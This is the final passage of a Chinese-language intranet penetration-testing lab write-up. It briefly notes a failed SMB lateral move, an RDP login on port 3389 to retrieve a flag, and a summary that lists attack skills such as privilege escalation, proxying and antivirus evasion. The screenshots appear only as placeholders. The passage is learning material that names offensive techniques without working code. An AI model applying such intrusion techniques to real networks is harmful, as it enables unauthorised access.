exploit

image.png

远控获取flag文件

前面尝试利用smb横向渗透获取域控失败了,不过还可以利用3389端口远程登录
image.png
image.png
image.png

总结

本次渗透只是为了学习一下内网渗透中 的一些攻击思路和技巧(比如常见的横向、纵向渗透、代理穿透、提权、免杀等等),当然还有很多东西没有涉及到(端口转发、维持、日志清理等等),这些也是要继续学习的地方。本文也只是涉及到内网渗透中一些最基本的东西,还有很多方法和手段可以利用,俗话说问题是死的,人是活的,没有最好只有更好,还需继续学习。

全文参考:
https://bbs.zkaq.cn/t/5069.html
https://blog.csdn.net/weixin_46250265/article/details/122757158

;